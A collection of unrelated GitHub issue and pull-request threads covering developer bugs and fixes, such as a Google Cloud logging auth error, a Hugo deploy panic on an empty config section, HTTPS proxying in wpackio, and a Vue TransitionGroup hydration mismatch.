•	The annotations additions to entities BusinessPartner & salesOrder, along with entity container com_sap_mbtepmdemoServices, are listed at the beginning of each section in the full code listing at the end of step 3. Whereas, the annotation additions specified in step 2 are instructed to be added at the end of each entity/container section. This makes comparing your code with the listing at the end of step 3 very difficult. Please use the same convention for step 2 and the code listing in step 3, either put annotations at the beginning of sections, or at the end, not both.
•	Step 2, task 5, adds the following annotation code:

Whereas the code listing at the end of step 3 lists an additional annotation for term Cache.LoadAfter string BusinessPartner.

Which version is correct?
•	Minor difference in the commented Annotation Term (line 174 or 176) step x refers to "ES5_GWSAMPLE" while step 3 code listing refers to "SAP_GATEWAY_GWSAMPLE".
Kind regards,
Andrew

#23250


random LoggingClient auth exception

I'm random getting the error below (1 in 100 requests) while using Google\Cloud\Logging\LoggingClient with an inline keyfile...any ideas?
Google\GAX\ApiException: {
10/31/2017 2:09:23 PM    "message": "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.",
10/31/2017 2:09:23 PM    "code": 16,
10/31/2017 2:09:23 PM    "status": "UNAUTHENTICATED",
10/31/2017 2:09:23 PM    "details": [
10/31/2017 2:09:23 PM        {
10/31/2017 2:09:23 PM            "@type": "www-authenticate",
10/31/2017 2:09:23 PM            "data": "Bearer realm="https://accounts.google.com/", error="invalid_token""
10/31/2017 2:09:23 PM        }
10/31/2017 2:09:23 PM    ]
10/31/2017 2:09:23 PM}

Hi @bacheson,
can you share the code you're using which is raising this error (with keyfile redacted of course)?

FYI, I saw the same error on App Engine Flex.
The app is:
https://github.com/GoogleCloudPlatform/php-docker/tree/master/testapps/integration-individual-packages

sorry for the late response...upgrading to the latest lib has solved my issue...not sure if the bug was in gax or this lib


Performance tracking with Adiak/Caliper/Spot

Added Adiak as a dependency
Benchmarked thermal backed by functional
Marked regions for profiling

@white238, can you point me to where I should start with getting adiak to build with spack?

Codecov Report

Merging #626 (fba163c) into develop (c040fc1) will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff            @@
##           develop     #626   +/-   ##
========================================
  Coverage    94.58%   94.59%
========================================
  Files          123      123
  Lines         8059     8061    +2
========================================
+ Hits          7623     7625    +2
  Misses         436      436

Impacted Files
Coverage Δ

src/serac/numerics/functional/domain_integral.hpp
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c040fc1...fba163c. Read the comment docs.

@white238, can you point me to where I should start with getting adiak to build with spack?

We should sit down and talk about this. It's probably easier to do a 10 minute webex than try to point you at everything.
Good news there is an existing Adiak spack package:
https://github.com/spack/spack/blob/develop/var/spack/repos/builtin/packages/adiak/package.py
Basically we should change the current caliper spack variant to be something more generic like performance and have it install adiak as well.
This would happen in this file:
https://github.com/LLNL/serac/blob/develop/scripts/spack/packages/serac/package.py

Thanks @white238, I just sent you a webex invite.

This is not a criticism of the PR per se, but it is a little bit concerning to me how much work (permanent code annotations, additional dependencies, complexity of deciphering caliper database files, etc) is required to do this kind of profiling. Some other methods require significantly less invasive modification to the code base.
I hope that the benefits outweigh the additional effort required.

I agree we should keep an eye on this and upstream any possible solutions or simplifications to the caliper/adiak/spot teams. I think the biggest win for this framework is the performance monitoring capability. However, that could change so we should monitor other solutions as development progresses (google benchmarks is the obvious example).

Yes, this solution is a bit more invasive. But we can certainly re-evaluate after trying it out for a bit and also keep an eye out for other solutions (e.g. perhaps even add support for google benchmarks to output to a sql database).


saving state on windows-drives fails in lilv_mkdir_p

mkdir ("G:", 0755); fails with EACCESS,  likewise trying to create "G:" also fails with EACCESS,
while creating "G:\test" works.
lilv_mkdir_p() splits the path by separator.  e.g.  "G:\test\folder"  starts with "G:".

Seems like the real root of this problem is attempting to create drives, which never makes sense.  Can you try https://github.com/drobilla/lilv/tree/fix-windows-mkdir ?

Seems like the real root of this problem is attempting to create drives, which never makes sense. Can you try https://github.com/drobilla/lilv/tree/fix-windows-mkdir ?

My initial solution was the same.
I think your is_windows_path() is not complete, but it'll likely catch all relevant cases.  Works here with a quick test anyway.

Yeah, some of the more esoteric cases won't work (relative paths that are contrained to a drive and all that craziness), but serd uses the same one (as does that other bit in lilv), so if any of these actually show up and aren't properly detected, things will probably be broken anyway.

Are you going to apply this patch to master, and also include the fix-fake-ms branch?


Potentially erroneous message when resuming from suspended

We noticed PCF dev was down after running for a few days straight. We checked the status and noticed it was suspended. We tried resuming once, and saw a warning about not enough free memory detected.  We killed a few memory hogs and tried resuming again, but encountered the message again - with VBoxHeadless running at 4gigs still.
We decided to destroy and start the image instead of resuming with the warning (Successfully).
We're not sure how high priority / if this is a problem, please feel free to close this issue if not applicable.
○ → cf pcfdev status
Suspended

○ → cf pcfdev resume

Less than 4096 MB of free memory detected, continue (y/N): > N

○ → cf pcfdev resume

Less than 4096 MB of free memory detected, continue (y/N): > N

○ → cf pcfdev destroy
PCF Dev VM has been destroyed

○ → cf pcfdev start
Using existing image
Allocating 4096 MB out of 8192 MB total system memory (5237 MB free).

Hi @MarkyMarkMcDonald,
Thanks for the report! We will look into this and get back to you.

@MarkyMarkMcDonald
Right now pcfdev treats both paused and saved virtualbox vms as "suspended". However, virtualbox releases the memory of a saved vm but not a paused vm. Our current memory check assumes that a suspended vm is saved and checks to make sure it has enough memory to start. It think your vm is paused instead, and therefore already has the reserved memory it requires. We added a story to the backlog to skip the memory check for paused vms.

Fixed in 0.20.0.


[IconButton] [Typescript] ref property not available

Property 'ref' does not exist on type 'IntrinsicAttributes & IconButtonProps & { children?: ReactNode; }'
This is the case for IconButton, but might be the case for others as well (didn't test any others).

[x] I have searched the issues of this repository and believe that this is not a duplicate.

Expected Behavior

The ref property should be available for any react component.
Current Behavior

It is not, making TS complain with a 'Property 'ref' does not exist on type 'IntrinsicAttributes & IconButtonProps & { children?: ReactNode; }' when trying to add it.
Steps to Reproduce (for bugs)

Create a tsx file that uses the following:
      <IconButton
        ref={node => { console.log(node); }}
      >
      </IconButton>

Context

Your Environment

Tech
Version

Material-UI
latest beta

React
16

browser
Chrome 62

ts
2.6.1

This is because IconButton is declared as a React.ComponentType instead of a React.ComponentClass; we're purposely abstracting away whether IconButton even has an instance associated with it. It happens that it does, but it's probably not what you want; its instance is a result of the withStyles HOC. Are you sure you don't want either the rootRef or buttonRef props?

Actually I wanted buttonRef as target anchor element for a popover :) Thanks

is it fixed? why close it?  because i still get the warning.
  constructor(props) {         super(props)         this.myRef = React.createRef()     }
i get the warning: [at-loader] property "myRef" does not exist on type ...


Migrated to Swift 4

Updated Xcode project settings.
Fixed String.characters deprecation warnings

Hi, created a Swift4 branch on my fork. Is there anything else I need to do to help merge this PR?
Thanks

closed by #12


Proxy as https url returns empty response

I have a local working https://wordpress.local with a valid autogenerated local ssl certificate (green lock in all browsers), but if i try to configure wpackio.server.js this way:
	host: 'localhost',
	proxy: 'https://wordpress.local',
	port: 3000,

i got empty response.
I'm on linux using latest master version (with latest version of all packages).
I'm not a browser-sync/webpack-dev-server expert, so surely i'm missing something, but is it possible to develop in https environment with wpack?
Thanks in advance

Hello,
I think so, but browserSync will need it's own certificate.
Without any configuration, it will work if you navigate to https://localhost, but it may show untrusted certificate.
Maybe you can use the same certificate as your wordpress.local. Edit your wpackio.server.js and add this new option
module.exports = {
  // ...
  bsOverride: {
    https: {
      key: "path-to-custom.key",
      cert: "path-to-custom.crt"
    }
  },
}

More information can be found here
Also for some reason, HMR works good, if you have specified your LAN IP and not localhost. If you must use localhost, then specify the IP
module.exports = {
  host: '<IP_ADDRESS>',
  proxy: 'https://wordpress.local',
  bsOverride: {
    https: {
      key: "path-to-custom.key",
      cert: "path-to-custom.crt"
    }
  },
}

The bsOverride is used to pass options directly to browser-sync. We do not use webpack-dev-server, rather use webpack-dev-middleware and webpack-hot-middleware with browser-sync. Do give this a read https://wpack.io/concepts/how-everything-works-together/

Also, if this solves your issue, do you think you can improve the docs by sending a PR?

Sorry, but with your suggestion nothing changes: same error (empty response).
Is there some log i can inspect?

After some test i have discovered that the answer appears if i go to https://<IP_ADDRESS>:3000 instead of http://..., but it seems the live-reload feature does not to work: file change detected but browser page not reloaded.

My mistakes: wrong configuration (wpack and \WPackio\Enqueue configured one in a subfolder of the other).
Now composer.json, package.json and all wpack.*.js are in theme root and all works as espected.
As last words, many troubles trying to use this structure:
[...]/wp-content/themes/wpacktheme/
   |-> (all wordpress theme files)
   |-> composer.json
   |-> wpack/
      |-> package.json
      |-> wpack.*.js
      |-> src/
         |-> js/*.js
         |-> ts/*.ts
         |-> scss/*.scss

but i think it's not subject of this issue, maybe i will open another one about nesting folders configuration if you are interested in).
Sorry, i'm not so expert also with PR.
Thanks, i can close this issue.

It's alright. About the directory structure, this tool is meant to be the bundler for all your themes. So you should keep it in the root.
If you are worried about having composer.json or package.json in your ultimate package, then you can just remove them when creating the zip package.

Also I am going to keep this open because it needs to go in the docs


Fix obscure ctest crashes on OSX and add OSX builds to Azure CI

Problem observed in CI runs of  https://github.com/conda-forge/openblas-feedstock/pull/116 - with INTERFACE64, parts of the ctest would assume the global flags to be 8 bytes while their declaration had only 4. Overwriting the global variable space would
trash random memory locations, it so happened that with clang on OSX, in a DYNAMIC_ARCH=1 build with USE_OPENMP=1 and INTERFACE64=1 the function pointers for some cpu-specific BLAS kernels in the gotoblas struct would get destroyed, leading to inexplicable crashes in the CBLAS tests for only some cpus...

Thanks @martin-frbg for the hard work.


Add Music only shows Playlists

... and in each of the playlists, there are 0 items to select.
This is  fresh install of the demo code, in a new cordova project. Only plugin installed is yours. I'm testing on an iPhone5 with iOS 8.4 (12H143).
I added a new playlist, and the plugin shows it, but does not show the songs contained inside it.
Also, when the picker opens, I can see a list of menu items scroll off the top of the screen (Albums, Songs, Artists...), leaving only "Playlists" behind.

Check this out #4 .

Also you have to select the song by pressing the '+' icon next to each songs, then press the done button. The plugin will copy the songs to app documents folder, then you can use Media plugin to play those songs.

To clarify, I'm not seeing any songs listed. So I can't press '+' — literally on the add screen, I have one link, Playlists, and when I tap that, I have a list of playlists. Tapping any of those goes to an empty list. So I'm not sure if the cdvfile is needed... yet. Right now I just want to see my list of songs.

Are those songs present in the iCloud or local device?

Good call! All the music on that phone was in the cloud. Downloaded some and they appeared. But the problem now is that even when I tap on it, it does not select/toggle it to be added.
To recap, I have one album purchased form iTunes downloaded on the phone. I can open the picker, and see the songs, but I can't tap to select. It will not toggle it's state.
In the debug console I see
2015-09-18 16:28:07.725 HelloCordova[5917:2281415] title = Aerodynamic Beats / Gabrielle, Forget About the World (Live)
2015-09-18 16:28:07.725 HelloCordova[5917:2281415] albumTitle = Alive 2007 (Live) [Deluxe Edition]
2015-09-18 16:28:07.726 HelloCordova[5917:2281415] artist = Daft Punk
2015-09-18 16:28:07.726 HelloCordova[5917:2281415] songurl = ipod-library://item/item.m4a?id=4463119691199613862
2015-09-18 16:28:07.778 HelloCordova[5917:2281871] AVAssetExportSessionStatusFailed = Error Domain=NSURLErrorDomain Code=-3000 "Cannot create file" UserInfo=0x1557bd10 {NSUnderlyingError=0x155b9cd0 "The operation couldn’t be completed. (OSStatus error -12124.)", NSLocalizedDescription=Cannot create file}
2015-09-18 16:28:07.821 HelloCordova[5917:2281415] title = Around the World / Harder Better Faster Stronger (Live)
2015-09-18 16:28:07.821 HelloCordova[5917:2281415] albumTitle = Alive 2007 (Live) [Deluxe Edition]
2015-09-18 16:28:07.822 HelloCordova[5917:2281415] artist = Daft Punk
2015-09-18 16:28:07.822 HelloCordova[5917:2281415] songurl = ipod-library://item/item.m4a?id=4463119691199613870
2015-09-18 16:28:07.876 HelloCordova[5917:2281871] AVAssetExportSessionStatusFailed = Error Domain=NSURLErrorDomain Code=-3000 "Cannot create file" UserInfo=0x156a6750 {NSUnderlyingError=0x156ccdd0 "The operation couldn’t be completed. (OSStatus error -12124.)", NSLocalizedDescription=Cannot create file}

I tried the same test app on another device and was able to select, copy, and play audio.

I have to check it with latest iOS version. Also the fourth parameter in the plugin call is related to displaying songs from iCloud (check the plugin description) and in demo by default it is false. Also try adding the Cordova media plugin in your project.

Ok, I tested the fourth parameter and it does show the iCloud hosted files (thank you). But I am still having the same issue with local and iCloud files. They do not get selected in the UI when I tap them. But I do see this in the debug console
2015-09-21 09:48:47.057 HelloCordova[6961:2605811] THREAD WARNING: ['iOSAudioPicker'] took '12.544189' ms. Plugin should use a background thread.
2015-09-21 09:48:55.834 HelloCordova[6961:2605811] title = Aerodynamic Beats / Gabrielle, Forget About the World (Live)
2015-09-21 09:48:55.835 HelloCordova[6961:2605811] albumTitle = Alive 2007 (Live) [Deluxe Edition]
2015-09-21 09:48:55.836 HelloCordova[6961:2605811] artist = Daft Punk
2015-09-21 09:48:55.837 HelloCordova[6961:2605811] songurl = ipod-library://item/item.m4a?id=4463119691199613862
2015-09-21 09:48:56.068 HelloCordova[6961:2606095] AVAssetExportSessionStatusFailed = Error Domain=NSURLErrorDomain Code=-3000 "Cannot create file" UserInfo=0x165af960 {NSUnderlyingError=0x165efc50 "The operation couldn’t be completed. (OSStatus error -12124.)", NSLocalizedDescription=Cannot create file}
2015-09-21 09:49:12.794 HelloCordova[6961:2605811] title = Brain Damage
2015-09-21 09:49:12.795 HelloCordova[6961:2605811] albumTitle = Himself
2015-09-21 09:49:12.795 HelloCordova[6961:2605811] artist = Bill Cosby
2015-09-21 09:49:12.795 HelloCordova[6961:2605811] songurl = (null)

The Daft Punk track is on the device, the Cosby one is from iCloud.
Could / is this related to DRM?
And I guess in general what happens with DRM songs? Will this work to copy/add to the Cordova app?

Songurl = null means file is protected. I have added the code to not convert the DRM protected file, clone the dev branch on your local machine and install it from there.

Thanks. I did just that. I see the change in the code, and I recompiled. I think there needs to be a variable declaration for songURL to get it to compile. But after adding that, I saw the change take effect
2015-09-22 03:45:18.855 HelloCordova[7152:2681518] title = Brain Damage
2015-09-22 03:45:18.856 HelloCordova[7152:2681518] albumTitle = Himself
2015-09-22 03:45:18.857 HelloCordova[7152:2681518] artist = Bill Cosby
2015-09-22 03:45:18.858 HelloCordova[7152:2681518] songurl = (null)
2015-09-22 03:45:18.859 HelloCordova[7152:2681518] DRM Protected file - Brain Damage

So it doesn't try to convert. But it also doesn't provide any feedback that it cannot convert it. Can we indicate to the user that it's a protected file and can't be copied?
Also, another song I have doesn't return null, but does not copy:
2015-09-22 03:45:29.238 HelloCordova[7152:2681518] title = Around the World / Harder Better Faster Stronger (Live)
2015-09-22 03:45:29.239 HelloCordova[7152:2681518] albumTitle = Alive 2007 (Live) [Deluxe Edition]
2015-09-22 03:45:29.239 HelloCordova[7152:2681518] artist = Daft Punk
2015-09-22 03:45:29.239 HelloCordova[7152:2681518] songurl = ipod-library://item/item.m4a?id=4463119691199613870

Any thoughts on why that one fails?

I will store it in separate object and send it with the coverted file list. Currently I do not have access to mac, so will take some time for me to push the changes.


[iOS][TextBlock] Use Ceiling on new size when TextBlock is measured

GitHub Issue (If applicable): #

PR Type
What kind of change does this PR introduce?

Bugfix

What is the current behavior?

When a TexBlock is measured, it never have the same size due to the Math.Ceiling applied on the result
What is the new behavior?

It also apply Math.Ceiling on the new size for comparison
PR Checklist
Please check if your PR fulfills the following requirements:

[ ] Tested code with current supported SDKs
[ ] Docs have been added/updated which fit documentation template. (for bug fixes / features)
[ ] Tests for the changes have been added (for bug fixes / features) (if applicable)
[ ] Contains NO breaking changes
[ ] Updated the Release Notes
[ ] Associated with an issue (GitHub or internal)

Other information

Internal Issue (If applicable):

https://nventive.visualstudio.com/Umbrella/_workitems/edit/138297

Nice find 👍


Snippets location for Visual Studio for Mac?

Where can I find the snippets now? It used to be that we could find the code snippets under this location,
~/Library/VisualStudio/<version>/Snippets
but, it seems that they have moved after 8.4.2

@hnabbasi -- Hussain, thank you for your question.  I am looking into this issue.  Meanwhile, please consider these resources:

https://social.msdn.microsoft.com/Forums/vstudio
https://www.stackoverflow.com
https://www.reddit.com/r/VisualStudio/

@hnabbasi -- Hussain, are you referring to information in a specific docs.microsoft.com article?  If so, please provide the article's URL.
@cobey -- Cody, my research indicates that is still the current location but I don't have a Mac for a live test.  Is there a newer snippets location?

Hi, @hnabbasi – The default code snippets are packaged into the Visual Studio.app bundle. If you want to create your own Snippets you can either use the Visual Studio > Preferences... > Code Snippets menu, or you can create the ~/Library/VisualStudio/8.0/Snippets on disk and copy your snippets directly into that folder.
Here's a nice article discussing this, by a member of our community: https://www.benday.com/2019/06/20/code-snippets-for-visual-studio-visual-studio-code-and-visual-studio-for-mac/

#please-close


Publish: Basic page template and template overview page

📇 User story
Publish the pieces needed for basic page template
✅ Definition of Done / Outcomes
Design

[ ] EN Figma template is merged
[ ] FR Figma template is merged

Content

[x] Done when content for the documentation, design and code templates has been approved

Development

[ ] Done when development has merged the basic page template PR in github

Documentation

[ ] Done when designs (EN and FR) has been published, with the links updated on the documentation website
[ ] Done when code templates (EN and FR) have been published, with the links updated on the documentation website
[ ] Done when documentation has been published on the website (basic page template and template overview pages)

📜 Acceptance criteria

[x] Design ticket is finalized and ready for merge [#1056]
[x] Develop ticket is finalized and ready for merge [#1047]

https://github.com/cds-snc/gcds-examples/pull/14

[x] #1149

https://github.com/cds-snc/gcds-docs/pull/430

[x] Content ticket is finalized and ready for publishing [#1058]

📝 More info
This ticket only tracks the complete of this specific template.
⛔ Blocker

Blocked by #1149 (Documentation: Template Overview and Basic page template #1149)

Images

Basic page preview image
Basic page (with On this page) preview image

Here's the basic page template draft. Finalizing a few pieces tomorrow but I'm not expecting the page structure to change.

Basic page is ready in FR and EN.
Re-design of template overview page to solve card issue ready in English and sent for translation.

French ready now too.

I've updated the ticket to reflect what else needs to be done to complete it
Here are the steps in more detail:

Publish figma file
Merge github PR to main
Update the documentation website with the published links
Merge documentation website PR to main to publish it

Currently blocked by the token updates

The code templates have been merged, and the documentation website is ready to go. Currently waiting for the links to the figma files, or if we can publish it as "coming soon"

Decision to remove "coming soon section. New template here: : https://www.figma.com/design/4sdG3RjDy1VH4HregM0VxX/Documentation-site_Component-Pages?node-id=15046-4281

Page templates have now been published


CLI config

What are your thoughts on adding config via a CLI as an alternative to using package.json. We'd love to start using this on our apps but would rather not have to update each apps' package.json?
I'd be happy to attempt a PR but want to know your thoughts?

I'm in for a different format of config.
CLI params might not be the best idea because there's a bunch of information you can give (multiple files, etc.)
Having a bundlesize.config.json could be one approach. .bundle.yml if you want a nicer name 😄
Not sure if that solves your problem though, Adding a block to package.json vs copy pasting new file is pretty much the same.
However, it does open up the option of using a compiled version of bundlesize with other languages in the future.

So thinking of some other tools that have a few ways of configuring it, there seems to be a sort of option of
a. package.json properties (as bundlesize currently uses)
b. .config.yml or .config.json
c. CLI args
For simple things you could use CLI but then when you want more config you can move to a or b to make it less bloated.
I think CLI is good for simple config like
$ bundlesize --file /dist/*.js --threshold 3kb

Okay, I'm sold

Mind if I have a go at this then?

Go for it!

@leggsimon I think we should skip option b for now (config.yml) and only implement CLI params

Implemented in https://github.com/siddharthkp/bundlesize/pull/60


Schneems/cdn all the things

This doesn't work, because when a user is logged in, their status will never be seen by the server, that means for the first time an un-logged in user hits the homepage then the homepage will be cached and served by cloudfront.
We would need to do something way more complex. For example setting up a subdomain like active.codetriage.com and when you log in you're redirected to that subdomain which would not be cached. But then you run into the issue of what happens when someone manually types in www.codetriage.com. In that case you would have to have some kind of JS that looks at cookies and dynamically redirects to active.codetriage.com (or something similar).

Ugh, I hate to be the guy who claims "flakey test" on his first PR, but the tests all pass locally. I can't see how my change would have affected the user_mailer_test.rb. Also, this previous build failure seems to be the same: https://travis-ci.org/codetriage/codetriage/jobs/409601461.
Thoughts?

Was that comment for this PR? This is my old PR and should not be merged.


Add pronunciation to documentation

There's a common disagreement amongst Laravel developers on whether it's pronounced "pint" like the glass featured in the logo, or whether it's pronounced like "lint" from being a PHP linter.
If Laravel Pint is so opinionated, stick the correct pronunciation somewhere in the README to end the debate once and for all.

Err, not sure if that's needed tbh. Feel free to attempt a PR if you like.

@driesvints with the pronunciation as in Pint like the glass of beer? Or do you pronounce it like lint with a p?

Pint like the beer.


command not found: mustache

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Clone repo
Run yarn chain
Run  yarn deploy-and-graph
See error

Expected behavior
Shouldn't throw error
I guess it need to tell which package/CLI install on this repo or install globally with npm/yarn

not really sure what this command has to do with this repo.  @jellydn  I would like you to to provide a fuller explanation.

@jellydn did you run yarn install first?

closed due to lack of response


hugo deploy: runtime error with empty section [[deployment.matchers]]

What version of Hugo are you using (hugo version)?

$ hugo version
hugo v0.89.4-AB01BA6E+extended windows/amd64 BuildDate=2021-11-17T08:24:09Z VendorInfo=gohugoio

Does this issue reproduce with the latest release?
Yes.
How to reproduce:
Take an arbitrary hugo site and add the section below to the site's config.toml:
[deployment]
[[deployment.targets]]
name = "aws"
URL = "s3://www.your-domain.tld"
cloudFrontDistributionID = "E9RZ8T1EXAMPLEID"

[[deployment.matchers]]
#pattern = "^.+\\.(html|xml|json)$"
#gzip = true

If you now run hugo deploy, you end up with a runtime error:
hugo deploy
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x8 pc=0x253e54b]

goroutine 1 [running]:
github.com/gohugoio/hugo/deploy.decodeConfig({0x31df7b8, 0xc0001fda40})
        /root/project/hugo/deploy/deployConfig.go:133 +0x26b
github.com/gohugoio/hugo/deploy.New({0x31df7b8, 0xc0001fda40}, {0x31dd6a0, 0xc00053be48})
        /root/project/hugo/deploy/deploy.go:80 +0xc8
github.com/gohugoio/hugo/commands.(*commandsBuilder).newDeployCmd.func1(0xc000457900, {0x2c6a545, 0x2, 0x2})
        /root/project/hugo/commands/deploy.go:67 +0xdc
github.com/spf13/cobra.(*Command).execute(0xc000457900, {0xc00055f5e0, 0x2, 0x2})
        /go/pkg/mod/github.com/spf13/cobra@v1.2.1/command.go:856 +0x60e
github.com/spf13/cobra.(*Command).ExecuteC(0xc00040a000)
        /go/pkg/mod/github.com/spf13/cobra@v1.2.1/command.go:974 +0x3bc
github.com/gohugoio/hugo/commands.Execute({0xc000050090, 0x3, 0x3})
        /root/project/hugo/commands/hugo.go:92 +0xb4
main.main()
        /root/project/hugo/main.go:23 +0x58

As soon as you uncomment the last two lines of the added section, everything works fine again.
Certainly a low priority issue, but I reckon having an empty [[deployment.matchers]] section could/should be handled more gracefully and hugo shouldn't choke on this.

The merged fix works and is certainly an improvement, thanks for addressing this so quickly.
However, I realized that the whole deployment process is canceled once an empty deployment matcher is encountered. i wouldn't consider an empty deployment matcher critical, so issuing a warning and continuing with deployment would be a more appropriate reaction for me here. Thoughts?

so issuing a warning and continuing with deployment would be a more appropriate reaction for me here. Thoughts?

I agree.
/cc @jmooring

Need guidance. Hugo neither warns nor errors with this config:
[[menu.main]]
[[menu.main]]
[[menu.main]]

To be consistent, it seems like this shouldn't produce warnings or errors either:
[[deployment]]
[[deployment.targets]]
[[deployment.targets]]
[[deployment.matchers]]
[[deployment.matchers]]

Please advise.

I have changed my mind. We throw error on these situations -- people need to fix their config.


programmatic position change not animated

When I programmatically change the position from middle/bottom to top, it works, but it's not animated. As animation option, I have set .spring(). I've made my own, custom BottomSheetPosition if that matters.
bottomSheetPosition is .middle by default. Then, in a button action, I set bottomSheetPosition = .top. This is how I initialize the bottom sheet:
.bottomSheet(bottomSheetPosition: $bottomSheetPosition, options: [
    .cornerRadius(15),
    .noBottomPosition,
    .animation(Animation.spring()),
    .shadow(color: Color(.sRGB, white: 0, opacity: 0.2), radius: 7, x: 0, y: 0)
    ]) {
    // ...
} mainContent: {
    // ...
}

Have you tried using
withAnimation(.spring()) {
    self.bottomSheetPosition = .top
}

when setting the bottom sheet position programmatically?

that worked, thanks!
may still be an issue though because in the sample code it doesn't look like this extra animation wrapper shouldn't be needed...


execute test suite only if the setup was successful

What type of PR is this?
/kind bug
What this PR does / why we need it:
Since the last changes ( #362) in the error handling of the setup functions, the test suite is also executed if the setup has failed. This can cause the tests to run to timeout because the expected prerequisites are not met. This PR introduces a check to ensure that the test suite is only executed if the setup was successful, otherwise the function returns with exit code 1 and the finish functions are gracefully executed.
Which issue(s) this PR fixes:

Fixes #423
Special notes for your reviewer:
None
Does this PR introduce a user-facing change?

The test suite is only executed if the setup was successful.

Additional documentation e.g., Usage docs, etc.:

Friendly ping for feedback to @harshanarayana  and @ShwethaKumbla .
Thanks in advance 🙏

/ok-to-test

@harshanarayana thanks for triggering the tests,  any chance that this PR is getting reviewed and released soon?

@vladimirvivien The bug causing tests to run despite setup failures was introduced in v0.4.0 (commit: 70b0316). This caused test pipelines to timeout and generate strange error reports.

/lgtm

/approve

@cpanato thanks for considering this fix. Is there a chance to get it released soon?

i will check what we have to be released, but no plans for this week


Multiple addTranslationForLanguage() calls duplicate the language in Redux

Hello! I don't make issues often, so don't get mad at me 😃
When adding a second translation file with addTranslationForLanguage(), that language is duplicated and will break translate calls. In Redux, it shows up as a second language, code name and "active".
I would assume that addTranslationForLanguage() would merge the 2 objects together.
const LanguageTable: LanguageConfig[] = [
    { name: "English", code: "en-US", urlToJson: require("src/assets/en-US.json") },
    { name: "English", code: "en-US", urlToJson: require("src/assets/en-US-2.json") },
];

...

LanguageTable.forEach(languageConfig => {
    fetch(languageConfig.urlToJson).then(data => {
        data.json().then(x => {
            this.props.addTranslationForLanguage(x, languageConfig.code);
            console.log(`Language Loaded: ${languageConfig.name}`);
        });
    });
});

"react": "16.3.2",
"react-redux": "5.0.7",
"react-localize-redux": "3.2.3",

I can't get typescript or the dependencies to run on that website 😞. The last time i tried to program in pure javascript was before i needed classes.

You shouldn't need TypeScript to create a working demo. If you like you can just fork the existing demo, and recreate the error there.

Closing this due to no activity.

Existing demo shows "Missing translationId" error if you choose the "Movies" section.


Configuration options not picked up when used in an addon

🐞 Bug Report
Describe the bug
Options specified in an addon's ember-cli-build.js – that is consumed by an app – are not applied.
Reproduce the bug

Create an ember addon.
Install ember-svg-jar in the addon
Set some svgJar options in the addon's ember-cli-build.js
Create an ember app
Install your newly created addon in your newly created ember app
Render an icon in your app
Notice the options you specified in the addon's ember-cli-build.js are not applied

Expected behavior
Options specified in an addon's ember-cli-build.js – that is consumed by an app – are applied.
Possible Solution
No idea.
Screenshots
Example ember-cli-build.js options in an addon:

And source from an icon rendered in the app. Notice xmlns is still present, and the html IDs are still minified:

Additional context

ember-cli 3.17.0
ember-svg-jar 2.2.3
svgo 1.3.2

One of the outcomes of this issue for us is we cannot use svgs with the following structure:

The reason is their IDs collide because they are all minified to the same two letters: #a for path and #b for clipPath.

This is possible a dup of – or at min overlapping with – https://github.com/ivanvotti/ember-svg-jar/issues/106.

This comment on #106 got things working for me: https://github.com/ivanvotti/ember-svg-jar/issues/106#issuecomment-626772657
I needed to:

Move ember-svg-jar from dependencies to devDependencies in my addon
Install ember-svg-jar indevDependencies in my app
Copy the svgJar config from my addon's ember-cli-build.js to app's ember-cli-build.js
Update the sourceDirs path in the svgJar config to be an absolute path that points to my addon

It seems like there should be – or it would be nice if there were – a way to not have to install ember-svg-jar in all apps and addons and copy the config into each.


TransitionGroup hydration mismatch

Environment

Operating System: Darwin
Node Version:     v20.11.0
Nuxt Version:     3.12.4
CLI Version:      3.12.0
Nitro Version:    2.9.7
Package Manager<EMAIL_ADDRESS>Builder:          -
User Config:      modulesDir, build, modules, eslint, tailwindcss, vite, css, i18n, compatibilityDate
Runtime Modules<EMAIL_ADDRESS>vue3-swatches/nuxt, floating-vue/nuxt<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Build Modules:    -

Reproduction
https://stackblitz.com/edit/github-muuvjp?file=app.vue
Describe the bug
A hydration mismatch occurs inside a TransitionGroup when there is an element with v-if. This issue only happens if a tag is set on the TransitionGroup. Replacing v-if with v-show resolves the error.
[Vue warn]: Hydration children mismatch on <div>…</div>
Server rendered element contains more child nodes than client vdom.
  at <TransitionGroup tag="div" >

Additionally, if there is a comment inside the TransitionGroup, a similar error occurs. Removing the tag resolves the hydration mismatch caused by the comment. However, after removing the tag and switching v-if to v-show, the error reappears.
runtime-core.esm-bundler.js?v=5dd078cf:50 [Vue warn]: Hydration node mismatch:
- rendered on server: <!-- test -->
- expected on client: div
  at <TransitionGroup>

I have provided both cases in the reproduction.
Additional context
No response
Logs
No response

I forgot to mention that there was a Vue issue and a fix which should have resolved my issue regarding the comment, but it hasn't.

Hey :wave: thanks for opening the issue. At first sight, this seems to be a vue bug.
Do you think you'll be able to reproduce it in a vue ssr repo ?

@huang-julien i've raised an issue for vue here: TransitionGroup hydration mismatch · Issue #11514 · vuejs/core, with a vue ssr repro.
But i could not reproduce the warning regarding the comment inside a transition group.

Thank you for the repro and the issue :heart: ! let's get it solved first in vue/core then see if this happens again

Well, it's still reproducible in Vue:
